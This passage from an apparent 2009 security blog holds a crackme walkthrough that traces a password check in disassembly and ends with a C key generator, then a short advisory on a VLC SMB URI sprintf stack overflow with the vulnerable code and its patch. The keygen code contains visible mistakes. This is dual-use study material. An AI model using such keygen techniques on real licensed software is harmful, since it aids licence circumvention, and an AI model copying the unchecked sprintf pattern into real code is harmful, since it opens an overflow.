.text:00401446                 jnz     short loc_401473
.text:00401448                 test    cl, cl
.text:0040144A                 jz      short loc_401462
&#91;/sourcecode&#93;

It moves the first character of the dest string into DL and the first of the password into BL registers. It then moves DL into CL and compares DL (aka the dest string character) with BL (the password character). If they are not equal it jumps to loc_401473, if they are, it checks that dest character, CL is not NULL. If it's NULL it jumps to loc_401462. The code continues like this:

&#91;sourcecode language="c"&#93;
.text:0040144C                 mov     dl, &#91;eax+1&#93;
.text:0040144F                 mov     bl, &#91;esi+1&#93;
.text:00401452                 mov     cl, dl
.text:00401454                 cmp     dl, bl
.text:00401456                 jnz     short loc_401473
.text:00401458                 add     eax, 2
.text:0040145B                 add     esi, 2
.text:0040145E                 test    cl, cl
.text:00401460                 jnz     short loc_40143E
&#91;/sourcecode&#93;

It increments the pointers to point to the next characters and compares them once again. It iterates to this loop until it completes the string, meaning CL is NULL. In C this could be written like:

&#91;sourcecode language="c"&#93;
dl = *(char *)dest;
bl = *(char *)password;
for(;;)
{
	cl = dl;

	if (dl != bl)
          goto loc_401473;
	if(cl == NULL)
          goto loc_401462;

        dl = *(char *)dest++;
	bl = *(char *)password++;

	if (dl != bl)
	  goto loc_401473;
 
        dest += 2;
	password += 2;

	if (cl == NULL)
          goto loc_40143E;
}
&#91;/sourcecode&#93;

So.. that's it! By the way, if you single step you can check out the value stored in dest using sprintf. This is the password we're looking for. In my case (user: AAAAAAAA) that was:

&#91;sourcecode language="c"&#93;
Stack&#91;00000D54&#93;:0012F83C Dest            db 37h
Stack&#91;00000D54&#93;:0012F83D                 db  41h ; A
Stack&#91;00000D54&#93;:0012F83E                 db  36h ; 6
Stack&#91;00000D54&#93;:0012F83F                 db  30h ; 0
Stack&#91;00000D54&#93;:0012F840                 db  33h ; 3
Stack&#91;00000D54&#93;:0012F841                 db  43h ; C
Stack&#91;00000D54&#93;:0012F842                 db  35h ; 5
Stack&#91;00000D54&#93;:0012F843                 db  42h ; B
Stack&#91;00000D54&#93;:0012F844                 db    0
&#91;/sourcecode&#93;

And of course the result of entering this is...

<img src="https://xorl.files.wordpress.com/2009/07/2.jpg" alt="crackme2" title="crackme2" width="336" height="258" class="aligncenter size-full wp-image-1015" />

And obviously, with the above knowledge you can easily write a key generator for this application. Here is mine:


#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void usage(const char *);

int
main(int argc, char *argv[])
{
         if (argc != 2)
           usage(argv[0]);
         
         char         *user = (char *) argv[1];
         char         *pass[10];
         char          ch;
         int           i = 0;
         long          edx, edx2, edx3 = 0;
         long          ecx;
          
         if (strlen(user) < 6)
         {
            fprintf(stderr, "Username must be more than 5 characters long\n");
            exit(EXIT_FAILURE);
         }
         
         memset(pass, 0, sizeof(pass));
         
         for(ch = *(char *)user; ch; ++i)
         {
                edx = 5 * ch ^ 2 * i * (edx3 + (ch ^ 0xC0C0C0C0));
                ecx = ch & 0x8000001F;
                
                if (ecx < 0)
                  ecx  = ((--ecx) | 0xFFFFFFE0) + 1;
                
                edx2 = edx << ecx;
                ch = *(char *) (i + user + 1);
                edx3 = edx2 ^ 0xBADDC001;
         }
         
         sprintf(&pass, "%08X", edx3);  
         
         fprintf(stdout, "\nUsername:\t%s\nPassword:\t%s\n", user, pass);
         return 0;
}

void
usage(const char *name)
{
            fprintf(stderr, "Usage: %s <username>\n", name);
            exit(EXIT_FAILURE);
}

Which as you can see here:

crackme3

It works!

crackme4

Written by xorl

July 8, 2009 at 06:22

VLC SMB URI Remote Stack Buffer Overflow

with 3 comments

This vulnerability was disclosed on 24 June 2009 and affects VLC player up to 0.9.9a release (latest by now). Here is the vulnerable code as seen in modules/access/smb.c.

#ifdef WIN32
static void Win32AddConnection( access_t *p_access, char *psz_path,
                                char *psz_user, char *psz_pwd,
                                char *psz_domain )
{
    DWORD (*OurWNetAddConnection2)( LPNETRESOURCE, LPCTSTR, LPCTSTR, DWORD );
    char psz_remote[MAX_PATH], psz_server[MAX_PATH], psz_share[MAX_PATH];
        ...
    sprintf( psz_remote, "\\\\%s\\%s", psz_server, psz_share );
        ...
    FreeLibrary( hdll );
}
#endif // WIN32

As you can easily realize, this affects only Windows platform and it is a classic sprintf overflow in psz_remote which has size of MAX_PATH. An attacker can trick the victim into opening a malicous SMB share using VLC to execute arbitrary code. The patch that fixes this bug is:

    }
 
-    sprintf( psz_remote, "\\\\%s\\%s", psz_server, psz_share );
+    snprintf( psz_remote, sizeof( psz_remote ), "\\\\%s\\%s", psz_server, psz_share );
     net_resource.lpRemoteName = psz_remote;

Written by xorl

July 3, 2009 at 17:11